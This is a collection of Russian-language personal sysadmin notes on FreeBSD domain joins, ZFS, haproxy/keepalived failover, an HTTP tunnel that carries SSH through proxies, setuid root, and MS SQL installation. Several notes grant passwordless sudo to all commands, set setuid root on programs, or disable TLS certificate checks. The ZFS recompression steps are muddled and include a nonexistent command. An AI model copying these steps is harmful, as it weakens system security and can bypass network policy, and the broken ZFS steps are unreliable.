http://www.bsddesktop.com/images/110amd64-ports-graphics-xserver-mesa-next/ https://github.com/FreeBSDDesktop/freebsd-base-graphics/wiki

freebsd_11_join_domain

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Настройка нужных сервисов

pkg install samba44
echo "ntpd_enable=YES" >> /etc/rc.conf

Добавляем запись о контроллере домена в /etc/ntp.conf.

service ntpd restart

Заполняем /etc/krb5.conf. Важно, чтобы default_realm был прописан большими буквами. Иначе будет kinit: Password incorrect:

[libdefaults]
    default_realm = TEST.LOCAL
    dns_lookup_realm = true
    dns_lookup_kdc = true
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = yes

Заполняем /usr/local/etc/smb4.conf. Тут тоже важно, чтобы realm и workgroup были прописан большими буквами.:

[global]
    workgroup = TEST
    security = ads
    realm = TEST.LOCAL
    encrypt passwords = yes
    idmap config * : backend = tdb
    idmap config * : range = 100000-299999
    idmap config TEST : backend = rid
    idmap config TEST : range = 10000-99999
    winbind separator = +
    winbind enum users = yes
    winbind enum groups = yes
    winbind use default domain = yes
    winbind refresh tickets = yes
    template shell = /bin/tcsh
    template homedir = /home/%D_%U

Прописываем winbind в /etc/nsswitch.conf. Заменяем строки group: compat и passwd: compat на group: files winbind и passwd: files winbind соответственно.

sed -i -e 's/group: compat/group: files winbind/' /etc/nsswitch.conf
sed -i -e 's/passwd: compat/passwd: files winbind/' /etc/nsswitch.conf

Включаем и запускаем сервисы:

echo "samba_server_enable=YES" >> /etc/rc.conf
echo "winbindd_enable=YES" >> /etc/rc.conf
service samba_server restart

Введение в домен

Получаем тикет kerberos:

kinit domain_admin_login

Проверяем что тикет есть:

klist

Вводим систему в домен:

net ads join -U domain_admin_login

Проверка

Проверяем соединение с доменом:

net ads testjoin

Проверяем. Получаем список пользователей и груп домена:

wbinfo -u
wbinfo -g
getent passwd
getent group

Если команды wbinfo не выдает ничего, то это значит что не запущен winbindd или некорректно составлен /usr/local/etc/smb4.conf. Если команды getent показывают только локальных пользователей и группы, хотя wbinfo показывает доменных пользователей, то это значит что в /etc/nsswitch.conf не поправлены строки passwd: и group:.

Настройка PAM

Дальше нужно включить локальный вход для доменных пользователей. Для этого нужно отредактировать файлы в /etc/pam.d/. Для локального входа - /etc/pam.d/login, для входа по ssh - /etc/pam.d/sshd, для входа в kde - /usr/local/etc/pam.d/kde Чтобы при входе создавались хомдиры нужно установить:

pkg install pam_mkhomedir

Затем прописываем

session         required        /usr/local/lib/pam_mkhomedir.so  mode=0700

Несколько слов о template homedir в . Когда пользователи создаются с помощью adduser - домашние директории создаются в момент создания учетной записи, однако в случае входа доменого пользователя его домашней директории, скорее всего. не существует. Для автоматического создания директории нужно установить pam_mkhomedir и прописать нужных файлах в директории /etc/pam.d/ строку запуска pam_mkhomedir.so. Но тут есть нюанс. По умолчанию, template для homedir имеет значение /home/%D/%U, и модуль исправно выполняет mkdir /home/DOMAIN/USER, однако если директории /home/DOMAIN не существет, то папка /home/DOMAIN/USER не создастся. Поэтому нужно либо заменять /home/%D/%U на что-то другое - типа /home/%D_%U, либо создавать директорию /home/DOMAIN/ вручную.

Для того, чтобы пользователи могли локально логиниться в консоль редактируем /etc/pam.d/login. В нем в секцию auth первой строкой дописываем:

auth    sufficient      pam_winbind.so

А в секцию account первой строкой дописываем:

account sufficient      pam_winbind.so

/usr/local/etc/pam.d/kde

Права root

Первый варивант: Можно установить sudo

samba# cd /usr/ports/security/sudo
samba# make install clean

далее правим файл /usr/local/etc/sudoers добавив в него вот такую строку

user        ALL=(ALL)       NOPASSWD: ALL

Создаем группу в АД и включаем туда тех, кому нужно дать права рута на фри после чего правим файлик, где заменяем следующие строки

samba# ee/etc/pam.d/su # auth auth sufficient pam_rootok.so no_warn auth sufficient pam_self.so no_warn

#auth requisite pam_group.so no_warn group=wheel root_only fail_safe #заменяем группу wheel на группу с АД, юзерам которой разрешен вход под рутом auth requisite pam_group.so no_warn group=freeadmin root_only fail_safe

freebsd_boot_from_usb_cant_mount_root

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

/boot/loader.conf

kern.cam.boot_delay="10000"
kern.cam.scsi_delay="3000"

При увеличении kern.cam.scsi_delay до 10000 - не работает.

freebsd_optimize_zfs_for_higher_capacity

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Включаем компрессию:

zfs set compression=on zroot

Включаем дедупликацию:

zfs set dedup=on zroot

Создаем новый пул, в котором существующие файлы будут сжаты:

dd if=/dev/zero of=/mnt/zroot-comp
service zfs-fuse restart

Сжимаем существующие файлы:

zfs set compression=on tank/fs

Send a snapshot to a temporary name

zfs snapshot tank/f…@1 zfs send -R tank/f…@1 | zfs recv -vFd tank/fs-recompressed

Mark the original as readonly and send anything newly written since the 'zfs send' above started.

zfs set readonly=on tank/fs zfs snapshot tank/f…@2 zfs send -i tank/f…@1 tank/f…@2 | zfs recv -v tank/fs-recompressed

Now delete the original and rename the newone into its place.

zfs delete tank/fs zfs rename tank/fs-recompressed tank/fs

freebsd_pkg_proxy

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

~/.cshrc

setenv http_proxy _IP_ADDRESS_:_port_
setenv https_proxy _IP_ADDRESS_:_port_
setenv ftp_proxy _IP_ADDRESS_:_port_

Или

/etc/pkg/pkg.conf

pkg_env : {
http_proxy: "http://bla/"
}

freebsd_to_trueos

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

pkg

Нажимаем y чтобы установить pkg

pkg upgrade
pkg install nano wget

Отключаем репозитории FreeBSD:

mv /etc/pkg/FreeBSD.conf /root/FreeBSD.conf-old

Создаем файлик репозитория TrueOS:

mkdir -p /usr/local/etc/pkg/repos
nano /usr/local/etc/pkg/repos/pcbsd.conf

Пишем туда такое:

pcbsd: {
       url: "http://pkg.cdn.pcbsd.org/11.0-CURRENTJULY2016/amd64/",
       signature_type: "fingerprints",
       fingerprints: "/usr/local/etc/pkg/fingerprints/pcbsd",
       enabled: true
      }

Затем создаем директории:

mkdir -p /usr/local/etc/pkg/fingerprints/pcbsd/revoked
mkdir -p /usr/local/etc/pkg/fingerprints/pcbsd/trusted

И скачиваем файл fingerprint и кладем его куда надо:

wget --no-check-certificate https://github.com/pcbsd/pcbsd-build/raw/master/pcbsd/pkg-dist/fingerprints/pcbsd/trusted/pkg.cdn.pcbsd.org.20131209
mv pkg.cdn.pcbsd.org.20131209 /usr/local/etc/pkg/fingerprints/pcbsd/trusted/

pkg upgrade -fy
fetch --no-verify-peer -o /etc/freebsd-update.conf 'https://github.com/pcbsd/freebsd/raw/master/etc/freebsd-update.conf'



freebsd-update fetch
freebsd-update install
pkg install -fy pcbsd-base
rehash
pbreg set /PC-BSD/SysType PCBSD
pc-extractoverlay ports
pc-extractoverlay desktop

дальше перезагружаемся. Если нужно при первой загрузке настроить парметры, то перед перезагрузкой выполняем:
touch /var/.runxsetup
touch /var/.pcbsd-firstboot
touch /var/.pcbsd-firstgui

reboot

get_ad_users_with_ldapsearch

anonymous@undisclosed.example.com (Anonymous) — Tue, 20 Oct 2020 10:06:03 +0000

http://techadminblog.com/ldapsearch-command-examples-with-advanced-options/

Информация об учетной записи

Получить всю информацию об учетке ldap с помощью ldapsearch

ldapsearch -H ldap://domail.local  -b dc=domain,dc=local  '(&(objectclass=user)(samaccountname=username))'

Залочена учетка или нет

Проверить не залочена ли учетка:

ldapsearch -H ldap://domail.local  -b dc=domain,dc=local  '(&(objectclass=user)(samaccountname=username))' pwdchangedtime  pwdaccountlockedtime

Если команда не возвращает значение аттрибута pwdaccountlockedtime, значит учетка НЕ залочена.

groups_list_of_the_running_process

anonymous@undisclosed.example.com (Anonymous) — Fri, 15 Jan 2021 06:30:41 +0000

Если нужно посмотреть список групп, привилегиями которых обладает запущенной процесс, то нужно найти ID процесса и выполнить команду:

grep '^Groups' /proc/$$/status

haproxy_high_availability_cluster

anonymous@undisclosed.example.com (Anonymous) — Tue, 28 May 2019 11:10:56 +0000

Задача

В двух датацентрах хостятся одинаковые web-сервисы (Microsoft Exchange 2016) на нескольких серверах (в ДЦ каждом по два сервера).
Запросы к web-сервисам могут приходить как от процессов в одном из датацентров (пользователи VDI), так и из внешнего интернета.
Датацентры неравноправны. Один из них - основной (постоянно обслуживает основную массу запросов), второй - резервный (постоянно обслуживает меньшую часть запросов).
Зачача - настроить отказоустойчивый опенсорсный балансировщик, который бы мог бы пережить следующие дизастеры:

падение одного или нескольких бекенд-серверов.
падение одной из нод балансировщика (либо падение процесса балансировщика).
нарушение связи между датацентрами.

Решение

Функционал high reliability реализуется с помощью демона, реализующего протокол VRRP, например - keepalived. Демон следит за состоянием нод кластера и если активная нода выходит из строя, то переключает нагрузку (передает IP-адрес) на запасную (пассивную) ноду.
Кроме keepalived можно использовать heartbeat.
keepalived попроще, а heartbeat пофункциональнее и имеет несколько иное назначение.

Будем настраивать active-passive связку из двух haproxy + keeapalived.
На каждой ноде будет практически однаково настроен haproxy. В конфигурациях backend-серверов будут прописаны серверы, находящиеся в одном датацентре с нодой балансировщика.
В конфигурации keepalived на каждой ноде балансировщика будет прописан скрипт, проверяющий состояние процесса haproxy и состояние сервиса. Нода балансировщика может считаться здоровой, если жив процесс haproxy и сервис доступен через балансировщик.

Настройка haproxy

haproxy - балансировщик. Осуществляет проверку состояния backend-серверов, балансирует нагрузку на них (в соответствии с кинфигурацией) и предоставляет к ним доступ через frontend.
Установка:

sudo apt-get update && sudo apt-get -y install haproxy

Вот пример настройки haproxy (/etc/haproxy/haproxy.cfg):

global
        log /dev/log    local0
        log /dev/log    local1 notice
        chroot /var/lib/haproxy
        stats socket /run/haproxy/admin.sock mode 660 level admin expose-fd listeners
        stats timeout 30s
        user haproxy
        group haproxy
        daemon

    ######## Default values for all entries till next defaults section
    defaults
      option  dontlognull             # Do not log connections with no requests
      option  redispatch              # Try another server in case of connection failure
      option  contstats               # Enable continuous traffic statistics updates
      option  logasap
      retries 3                       # Try to connect up to 3 times in case of failure
      timeout connect 5s              # 5 seconds max to connect or to stay in queue
      timeout http-keep-alive 1s      # 1 second max for the client to post next request
      timeout http-request 15s        # 15 seconds max for the client to send a request
      timeout queue 30s               # 30 seconds max queued on load balancer
      timeout tarpit 1m               # tarpit hold tim
      backlog 10000                   # Size of SYN backlog queue
      mode tcp                                #alctl: protocol analyser
      option tcplog                           #alctl: log format
      log global                              #alctl: log activation
      timeout client 300s                     #alctl: client inactivity timeout
      timeout server 300s                     #alctl: server inactivity timeout
      default-server inter 3s rise 2 fall 3   #alctl: default check parameters

    frontend ft_exchange_tcp
      bind *:443 name https          #alctl: listener https configuration.
      maxconn 100000                         #alctl: connection max (depends on capacity)
      default_backend exchange_2016_backend       #alctl: default farm to use

    backend exchange_2016_backend
        balance roundrobin
        # maximum SSL session ID length is 32 bytes.
        stick-table type binary len 32 size 30k expire 10s
        acl clienthello req_ssl_hello_type 1
        acl serverhello rep_ssl_hello_type 2
        # use tcp content accepts to detects ssl client and server hello.
        tcp-request inspect-delay 5s
        tcp-request content accept if clienthello
        # no timeout on response inspect delay by default.
        tcp-response content accept if serverhello
        # SSL session ID (SSLID) may be present on a client or server hello.
        # Its length is coded on 1 byte at offset 43 and its value starts
        # at offset 44.

        # Match and learn on request if client hello.
        stick on payload_lv(43,1) if clienthello
        # Learn on response if server hello.
        stick store-response payload_lv(43,1) if serverhello

        fullconn 100000

        option httpchk GET /ews/healthcheck.htm "HTTP/1.0\r\nHost: exch2016.domain.com"

        server exch_server1 exch1.domain.com:443 maxconn 100000 check check-ssl verify none
        server exch_server2 exch2.domain.com:443 maxconn 100000 check check-ssl verify none

        email-alert mailers mta
        email-alert level info
        email-alert from haproxy-alert@domain.com
        email-alert to admin@domain.com

    mailers mta
        mailer smtp1 smtp.domain.com:25

    frontend stats
        bind *:8080
        mode http
        stats enable
#       stats auth admin:adminpassword
        stats uri /

Тут настраивается единственный frontend для единственного backend в режиме tcp.
Балансировка - round-robin.
Прописан session sticking, чтобы клиент не прыгал по серверам в пределах одной сессии.
Проверка состояния backend-серверов осуществляется с помощью запроса:

option httpchk GET /ews/healthcheck.htm "HTTP/1.0\r\nHost: exch2016.domain.com"

Если ответ 200, то backend-сервер считается живым.

Для второй ноды конфигурация такая же, но список backend-серверов другой:

        server exch_server3 exch3.domain.com:443 maxconn 100000 check check-ssl verify none
        server exch_server4 exch4.domain.com:443 maxconn 100000 check check-ssl verify none

Настройка keepalived

keepalived следит за состоянием нод в пределах виртуального роутера (нод keepalive с одинаковым параметром virtual_router_id) и с заданным интервалом вычисляет приоритет (priority) ноды (в зависимости от результатов выполнения скрипта). Если приоритет ноды меняется - происходят выборы новой master-ноды. Если backup-нода обнаруживает недоступность master-ноды - она становится master-нодой.
Установка keepalived:

sudo apt-get update && sudo apt-get install keepalived

Вот конфигурация основной (master) ноды (/etc/keepalived/keepalived.conf):

global_defs {
   notification_email {
        admin@domain.com
   }
   notification_email_from haproxy-alert@domain.com
   smtp_server smtp.domain.com:25
   smtp_connect_timeout 30
}

vrrp_script chk_haproxy {
  script "/usr/bin/killall -0 haproxy && /usr/bin/curl -k 'https://localhost/ews/healthcheck.htm'"
  interval 2
  weight 2
}

vrrp_instance VI_1 {
    state MASTER
    interface ens160
    virtual_router_id 101
    priority 101
    advert_int 1
    smtp_alert
    authentication {
        auth_type PASS
        auth_pass superpassword
    }
    virtual_ipaddress {
        172.30.129.131
    }
    track_script {
      chk_haproxy
    }
}

Тут прописаны секции:

global_defs - глобальные параметры, в частности - параметры оповещения.
vrrp_script chk_haproxy - сценарий проверки сосотяния haproxy - проверка наличия процесса haproxy и проверка доступности сервиса через haproxy, а также - интервал проверки и её вес (количество поинтов, которые прибавляются к приоритету, в случае успешной проверки).
vrrp_instance VI_1 - описание инстанса VRRP. В этой секции некоторые параметры имеют различные значения на master и slave нодах): interface - имя сетевого интерфейса, на котором работает виртуальный IP, priority - приоритет ноды (нода с максимальным приоритетом забирает себе виртуальный IP). Параметры virtual_router_id (идентификатор виртуального роутера) и секция authentication должны быть одинаковыми на обоих нодах.

Вот конфигурация резервной (slave) ноды:

global_defs {
   notification_email {
        admin@domain.com
   }
   notification_email_from haproxy-alert@domain.com
   smtp_server smtp.domain.com:25
   smtp_connect_timeout 30
}

vrrp_script chk_haproxy {
  script "/usr/bin/killall -0 haproxy && /usr/bin/curl -k 'https://localhost/ews/healthcheck.htm'"
  interval 2
  weight 2
}

vrrp_instance VI_1 {
    state MASTER
    interface ens192
    virtual_router_id 101
    priority 100
    advert_int 1
    smtp_alert
    authentication {
        auth_type PASS
        auth_pass superpassword
    }
    virtual_ipaddress {
        172.30.129.131
    }
    track_script {
      chk_haproxy
    }
}

Подключение клиентов

Для подключения клиентов:

Для внутренних клиентов мы создаем запись в DNS, которая указывает на виртуальный IP, а клиенты подключаются к сервису по DNS-имени.
Для внешних клиентов делаем port-mapping с внешнего IP на внутренний виртуальный IP.

Ссылки

https://www.digitalocean.com/community/tutorials/how-to-set-up-highly-available-haproxy-servers-with-keepalived-and-floating-ips-on-ubuntu-14-04
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/load_balancer_administration/ch-initial-setup-vsa
https://tecadmin.net/setup-ip-failover-on-ubuntu-with-keepalived/

haproxy_how_to_concatenate_intermidiate_certs_chain

anonymous@undisclosed.example.com (Anonymous) — Fri, 27 Nov 2020 13:05:32 +0000

Как правильно составить цепочку промежуточных сертификатов для haproxy

https://www.meshcloud.io/2017/04/18/pem-file-layout-for-haproxy/
До версий Haproxy v. 2.2 цепочку промежуточных сертификатов нужно было составлять вручную и прикреплять к файлу с сертификатом и ключем.
Причем важен порядок следования сертификатов в файле.
Правильный порядок такой:

Сертификат домена (The Certificate for your domain)

Промежуточный сертификат 1 (The intermediates in ascending order to the Root CA)

Промежуточный сертификат 2 (The intermediates in ascending order to the Root CA)

…

Корневой сертификат (A Root CA. Если надо. Обычно не нужно)

Приватный ключ (Private Key)

Составить pem-файл можно примерно так:

cat certificate.crt intermediates.pem private.key > ssl-certs.pem

Такой вариант сработал на версии Haproxy v.1.5. И скорее всего на более поздних.

Новейшие версии haproxy

https://www.haproxy.com/blog/announcing-haproxy-2-2/
https://www.haproxy.org/download/2.2/doc/configuration.txt
В версии Haproxy v. 2.2 (вышла летом 2020) промежуточные сертификаты могут автоматически обнаружитваться в указанной директории и включаться в цепочку с помощью директивы issuers-chain-path

haproxy_http_to_https_automatic_redirect

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

В секции frontend надо прописать:

Для редиректа всего траффика:

redirect scheme https if !{ ssl_fc }

Если фронтендов/бекэндов много, и редиректить нужно по имени домена:

redirect scheme https if { hdr(Host) -i www.mydomain.com } !{ ssl_fc }

haproxy_logs

anonymous@undisclosed.example.com (Anonymous) — Tue, 21 Jan 2020 20:10:25 +0000

Haproxy logs to logstash
UDP Only!!!
Hostname Header from SNI: https://discourse.haproxy.org/t/log-sni-in-tcp-mode/1534 HTTP Headers: https://gist.githubusercontent.com/haproxytechblog/fd1b3691893183dac7151c213fc9950d/raw/d508e37b7966c464e10e9616d9624fbdf9513a0e/blog20121029-08.cfg

how_to_get_yum_variables_arch_basearch_releasever_in_redhat_and_centos

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Переменные $arch, $basearch, $releaser и $infra

Иногда, чтобы прописать репозиторий в RedHat-based,например в CentOS бывает нужно знать значения переменных yum - $arch, $basearch, $releaser и $infra. Для того, чтобы их узнать выполняем такое:

python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'

Вот пример вывода с CentOS 7 1611:

Loaded plugins: fastestmirror, langpacks
{'arch': 'amd64',
 'basearch': 'x86_64',
 'infra': 'stock',
 'releasever': '7',
 'uuid': '6f68c2da-b486-4047-851a-897157d75161'}

$infra обычно имеет значение stock
Аналогично для dnf:

python3 -c 'import dnf, pprint; db = dnf.dnf.Base(); pprint.pprint(db.conf.substitutions,width=1)'

Repo URL

URL репозитория будет примерно такой: http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os&infra=stock
Важно, что в URL в качестве параметра arch используется значение переменной basearch, а не arch.

Error importing repomd.xml

После добавления репы стала появляться ошибка:

http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os&infra=stock/repodata/repomd.xml: [Errno -1] Error importing repomd.xml for base_centos: Damaged repomd.xml file

Причину я не выяснил, но в ответ на запрос этого URL возвращается список зеркал. В файлике .repo я заменил этот URL на URL зеркала и ошибка ушла.
Получить список зеркал можно так:

curl http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os&infra=stock/repodata/repomd.xml

how_to_open_msg_eml_files

anonymous@undisclosed.example.com (Anonymous) — Tue, 08 Oct 2019 09:25:12 +0000

Довольно часто в почте можно встретить пеерсылаемые сообщения в форматах msg и eml.
Сообщения в формате eml нормально открываются почтовыми программами доступными в Linux - Evolution, kmail, Thunderbird и другими.
Для того, чтобы открыть сообщения в формате msg их нужно сконвертировать в формат eml.
Для этого нужно установить вот что:

sudo apt-get install libemail-outlook-message-perl

И потом сконвертировать файлик сообщения:

msgconvert filename*.msg

В результате в том же каталоге появится файлик в формате eml, который нормально откроется в почтовиках (я пользуюсь Evolution). Нормально откроются и приложенные к сообщению файлы.

how_to_run_process_with_root_privileges_without_sudo

anonymous@undisclosed.example.com (Anonymous) — Thu, 28 Jan 2021 07:39:54 +0000

Как всегда запускать программу с правами root

Если необходимо, чтобы программа всегда запускалась с правами root, даже если она запущена не от имени root, а обычным непривилешированным пользователем без использования sudo, то нужно использовать функционал setuid или setgid. Это означает, что программа будет запущена не от имени пользователя, который ее запускат, а от имени владельца исполняемого файла.
Установить признак setuid можно так:

sudo chown root:root ./program
sudo chmod a+s ./program

Всё. Теперь даже если процесс запущен непривилегированным пользователем, он всё равно получит привилегии владельца исполняемого файла, то есть - root

Автоматический запуск графических приложений с правами root

Однако, при попытке запустить GUI-приложение с признаком setuid я получил сообщение вида:

Gtk-WARNING **: 10:17:50.381: This process is currently running setuid or setgid.
This is not a supported use of GTK+. You must create a helper

В этому случае - можно сделать иначе.
Добавить в /etc/sudoers строку вида:

username    ALL=(ALL) NOPASSWD: /usr/local/bin/programmname

где username - имя непривилегированного пользователя, которому мы хотим дать прав запускать программу /usr/local/bin/programmname с правами root без ввода пароля.
А затем, я сделал скрипт-обертку:

#!/bin/bash
sudo /usr/local/bin/programmname &
exit 0

В итоге - при запуске скрипта-обертки GUI-программа /usr/local/bin/programmname стартует с правми root без ввода пароля.

http_tunnel

anonymous@undisclosed.example.com (Anonymous) — Tue, 14 Jan 2020 11:02:48 +0000

https://en.wikipedia.org/wiki/Web-based_SSH

С помощью WebRTC

https://github.com/nobonobo/ssh-p2p - ровно то что нужно
https://github.com/mxseba/rtc-ssh
https://github.com/ryscheng/uproxy-networking - хз пока что

с использованием метода CONNECT

http://www.zeitoun.net/articles/ssh-through-http-proxy/start

Без использования метода CONNECT (только PUT и GET)

bridge на ruby

https://github.com/luizluca/bridge
На всякий случай утащил к себе: bridge-master.zip
Данная утилита (не моя) - скорее просто proof-of-concept. Она работает, но ей много чего не хватает (например - аутентификации).
Протестировал на чистом контейнере Ubuntu 19.10.
Продвинутая версия с BasicAuth (нашел среди форков) - https://github.com/puochan/bridge
Добавлен HTTPS - https://github.com/vadimkim/bridge
Вот мой вариант - https://github.com/MikeQ123/bridge.git. Это форк от puochan с обработкой перенаправлений при установке соединения и добавлением к запросам cookie OpenDNS. Нужно бы добавить ssl, хотя, если внутри всегда ssh, то ssl не нужен.

bridge - сервер

Сервер может быть настроен где угодно (не обязательно внутри сети, куда нам нужно попасть).

apt-get install ruby git
git clone https://github.com/MikeQ123/bridge.git
sudo cp ./bridge/http_bridge /usr/bin/

Запускаем сервер

sudo http_bridge server 80 /some-path user:password

Сервер будет принимать подключения на порту 80, URN /some-path и аутентифировать пользователя по логину user и парою password.

/etc/systemd/system/http-bridge-server.service

Для автоматического запуска сделаем юнит сервиса:

[Unit]
Description=Setup a secure tunnel to remote server
After=network.target

[Service]
ExecStart=/usr/bin/http_bridge server 80 /some-path user:password
RestartSec=10
Restart=always

[Install]
WantedBy=multi-user.target

Уведомляем systemd, включаем сервис и запускаем его:

systemctl daemon-reload
systemctl enable http-bridge-server.service
systemctl start http-bridge-server.service

bridge - Клиент

apt-get install ruby git
git clone https://github.com/MikeQ123/bridge.git
sudo cp ./bridge/http_bridge /usr/bin/

Запускаем клиент:

sudo bash -c 'http_proxy=http://proxy-server:3128 http_bridge client 222 http://tunnel.server/some-path some.ssh-server.com 22 user:password'

Всё. Теперь на клиентской машине на порту 222 у нас доступен порт 22 хоста some.ssh-server.com.

Для автоматического запуска клиента при старте сессии ssh нужно добавить в ~/.ssh/config такие директивы:

Host mysshserver.com
    ProxyCommand /usr/bin/http_bridge client - http://tunnel.server/some-path %h %p user:password

или в случае с proxy-сервером:

Host mysshserver.com
    ProxyCommand bash -c 'http_proxy=http://proxy.server:3128 /usr/bin/http_bridge client - http://tunnel.server/some-path %h %p user:password'

И теперь при выполнении:

ssh user@mysshserver.com

автоматически будет запускаться bridge (повышение привилегий в этом случае не нужно).

/etc/systemd/system/http-bridge-client.service

Для автоматического запуска клиента сделаем юнит сервиса:

[Unit]
Description=HTTP Tunnel Client Service 
After=network.target

[Service]
Environment="http_proxy=http://proxy_server:3128"
ExecStart=/usr/bin/http_bridge client 222 http://tunnel.server/some-path some.ssh-server.com 22 user:password
RestartSec=10
Restart=always

[Install]
WantedBy=multi-user.target

Уведомляем systemd, включаем сервис и запускаем его:

sudo systemctl daemon-reload
sudo systemctl enable http-bridge-client.service
sudo systemctl start http-bridge-client.service

httptunnel

https://github.com/larsbrinkhoff/httptunnel
Можно найти в репозиториях многих дистрибутивов.
Пишут, что испоьзует чистые PUT и GET запросы, то есть должен проходить большинство PROXY.

ilo2_com.hp.ilo2.remcons.remocons.class

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

В iLo2 не работают java-апплеты,
Например - при запуске консоли появляется ошибка - com.hp.ilo2.remcons.remocons.class
Система - Ubuntu 16.04, браузер - Firefox, Java RE - 1.8.101, iLO2 - 2,25.
Я пробывал откатить Java RE до версии 1.7 - результата это не принесло.
Сервер iLo был добавлен в Security exception list JRE.

Решение

Оказалось надо в Java отключить все протоколы SSL, кроме TLS 1.0.
Для этого запускаем JRE Control Panel:

/usr/lib/jvm/jre1.8.0_101/bin/ControlPanel

Там на вкладке Advanced внизу снимаем все галочки Use SSL/TLS, и оставляем только Use TLS 1.0.
Также отключаем все revocation checks.
После этого проверяем работоспособность Java на https://www.java.com/verify/ и запускаем Remote Console в iLo2.

installed_packeges_to_file

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

dpkg -l > packages.csv

Затем редактируем. Оставляем только колонку с названиями пакетов Затем устанавливаем:

cat packages.csv | xargs sudo apt-get install

install_freebsd_11_on_usb_flash_drive

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Чтобы поставить FreeBSD с флешки делаем так: Создание установочной флешки FreeBSD 11.0

При установке выбираем ZFS. После установки система предложит запустить shell, чтобы настроить что нужно. Запускаем. Затес смотрим куда смонтирован bootpool. У меня команда

mount

показала, что bootpool смонтирпован на /mnt/bootpool. Однако, папки /mnt/bootpool не существует. Ок. перемонтируем.

umount /mnt/bootpool
mount -t zfs bootpool /mnt

и дальше редактируем /mnt/boot/loader.conf. Если этого не сделать, то при загрузке система будет намертво виснуть на mountroot>.

/boot/loader.conf

kern.cam.boot_delay="10000"
kern.cam.scsi_delay="3000"

При увеличении kern.cam.scsi_delay до 10000 - не работает.

Теперь можно перезагрузиться в свежеустановленную систему.

install_guacamole_tomcat

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

sudo apt-get update && sudo apt-get -y upgrade && sudo apt-get -y install software-properties-common
sudo add-apt-repository ppa:guacamole/stable
sudo apt-get -y install guacamole-tomcat libguac-client-ssh0 libguac-client-rdp0

Теперь guacamole доступен тут: http://___IP___:8080/guacamole/

install_headless_browser_ui4j_on_ubuntu_14.04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

ui4j не собирается с jdk 1.7, требует jdk 1.8
  
apt-get update && apt-get upgrade
apt-get install maven nano 
apt-get purge openjdk-\* 
wget https://github.com/ui4j/ui4j/archive/master.zip
wget http://download.oracle.com/otn-pub/java/jdk/8u74-b02/jdk-8u74-linux-x64.tar.gz
mkdir /usr/local/java
cp ./jdk-8u74-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
tar -xvf ./jdk-8u74-linux-x64.tar.gz

Добавляем в /etc/environment в PATH добавляем /usr/local/java/jdk1.8.0_74/bin и прописываем JAVA_HOME=“/usr/local/java/jdk1.8.0_74/“ И теперь перезагружаемся:

reboot

Так как мы удалили openjdk-* пакеты, то maven надо переустановить.

apt-get install maven

Распаковываем ui4j

unzip ./master.zip
cd ui4j-master

Собираем:

mvn install -DskipTests=true -Dgpg.skip=true

install_kde5_on_ubuntu_16.04_server

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

sudo add-apt-repository ppa:kubuntu-ppa/backports
aptitude install kubuntu-full
aptitude install xorg

install_latest_maven_on_ubuntu

anonymous@undisclosed.example.com (Anonymous) — Tue, 24 Mar 2020 18:56:07 +0000

Скачиваем:

wget http://mirror.linux-ia64.org/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

Распаковываем в /opt:

sudo tar xf ./apache-maven-*.tar.gz -C /opt

Для удобного обновления сделаем символическую ссылку /opt/maven, указывающую на актуальную директорию:

sudo ln -s /opt/apache-maven-3.6.3 /opt/maven

В дальнейшем при для обновления будет достаточно распаковать свежий maven и создать новый симлинк на новую директорию.
Настраиваем переменные окружения. Создаим файлик /etc/profile.d/maven.sh, в котором зададим все необходимые переменные.

sudo nano /etc/profile.d/maven.sh

и запишем туда вот что:

export JAVA_HOME=/usr/lib/jvm/default-java
export M2_HOME=/opt/maven
export MAVEN_HOME=/opt/maven
export PATH=${M2_HOME}/bin:${PATH}

и сделаем его исполняемым:

sudo chmod +x /etc/profile.d/maven.sh

Всё. теперь можно либо перелогиниться/перезагрузиться или просто подгрузить этот файлик вручную:

source /etc/profile.d/maven.sh

И убедиться что свежий maven на месте:

maven --version

install_ms_sql_on_ubuntu

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get install nano curl -y

Добавляем репозиторий и ключ:

curl -k https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
curl -k https://packages.microsoft.com/config/ubuntu/16.04/mssql-server.list | sudo tee /etc/apt/sources.list.d/mssql-server.list
curl -k https://packages.microsoft.com/config/ubuntu/16.04/prod.list | sudo tee /etc/apt/sources.list.d/msprod.list

Отключаем проверку сертификатов (или устанавливаем корневой сертификат Microsoft)

echo 'Acquire::https::packages.microsoft.com::Verify-Peer "false";' | sudo tee /etc/apt/apt.conf.d/80ms_ignore_certs

Устанавливаем MSQSQL:

sudo apt-get update
sudo apt-get install mssql-server mssql-tools unixodbc-dev -y

Конфигурируем (тут нужно будет задать пароль SA):

sudo /opt/mssql/bin/mssql-conf setup

Создаем ссылки на утилиты:

 sudo ln -sfn /opt/mssql-tools/bin/sqlcmd  /usr/bin/sqlcmd 
